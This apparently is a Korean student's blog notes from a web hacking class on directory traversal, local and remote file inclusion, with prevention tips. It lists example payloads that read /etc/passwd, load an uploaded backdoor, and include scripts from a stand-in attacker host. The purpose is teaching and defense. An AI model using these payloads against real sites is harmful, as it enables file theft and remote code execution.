File Iuclusion에서 공격 전 체크할 수 있는 사항으로는 Directory Traversal과 Local File lnclusion, Remote Dile Inclusion이다.
- Directory Traversal: ?page=../../etc/passwd
- Local File Inclusion: ?page=../../uploads/my_backdoor.php
- Remote File Inclusion: ?page=hrrp://evillsite.com/attackserver.php, ?page=http://evilsite.com/XSS.js
- **윈도우는 역슬래시 리눅스는 / 슬래시이다.
RFI(원격 파일 포함, Remote File Inclusion)는 외부 스크립트를 동적으로 참조하는 웹 응용 프로그램의 취약점을 대상으로 하는 공격이다. 일반적으로 응용 프로그램이 웹 페이지에 대한 입력으로 파일 경로를 수신하고 적절하게 삭제하지 않을 때 발생한다. 이렇게 하면 포함 기능에 외부 URL을 제공할 수 있다. 이러한 참조 기능을 악용해 다른 도메인에 있는 원격 URL에서 백도어 쉘과 같은 악성 코드를 업로드 한다. 잠재적인 피해로는 민감한 정보 공개나 원격 코드 실행. 전체 시스템 손상 등이 있다. 외부 사이트를 불러오거나 원격파일을 업로드해 공격한다.
페이지 매개변수를 받으면 파일을 불러온다.
LFI(로컬 파일 포함, Local File inclusion)은 웹 브라우저를 통해 악성코드를 업로드하는 것은 RFI와 똑같지만 이 공격은 사용자 제공/제어 입력의 유효성을 검사하지 못하는 안전하지 않은 로컬 파일 업로드 기능을 악용하는 것을 목적으로 한다. 이는 악의적인 문자 업로드 및 디렉터리 탐색 공격이 허용되고 손상된 시스템에 직접 악성 프로그램을 삽입할 수 있다. 공격자는 이를 사용하여 웹 응용 프로그램이 서버에서 파일을 노출하거나 실행하도록 할 수있다. 일반적으로 LFI는 응용프로그램이 파일 경로를 입력으로 사용할 떄 발생한다. 응용 프로그램이 입력을 신뢰할 수 있는 것으로 취급하는 경우 include문에서 로컬 파일을 사용할 수 있다.
RFI는 스크립트를 사용하여 웹 서버에 원격으로 호스팅되는 파일을 포함하며, LFI공격은 공격자가 로컬파일을 사용하여 악성 스크립트를 실행한다. LFI는 로컬파일만 포함할 수있다. 대상 서버의 파일을 사용하기 때문에 웹 브라우저만 사용하여 공격을 수행할 수도 있다.
최종적인 예방법)
가능한 모든 파일에 대해 입력 매개변수를 철저히 필터링한다. 사용자의 입력을 신뢰하지 않는다.
- GET/POST 매개변수
- URL 매개변수
- HTTP 헤더 값
- 쿠키 값
참고 동영상)
https://www.youtube.com/watch?v=8BwD6nPn1vo
https://www.youtube.com/watch?v=htTEfokaKsM
'Web hacking > Nomaltic) 웹 해킹 수업 노트 👩💻' 카테고리의 다른 글
[10주차] LFI, RFI/ 파일업로드 공격 대응방안/ 파일 다운로드 취약점 (1) | 2021.12.22 |
---|---|
[복습]파일 업로드 취약점 실습(2) (0) | 2021.12.16 |
[복습] 파일 업로드 취약점 실습(1) (0) | 2021.12.14 |
[9주차] 파일 업로드 취약점 (0) | 2021.12.10 |
[9주차]파일 업로드/다운로드 취약점 (0) | 2021.12.08 |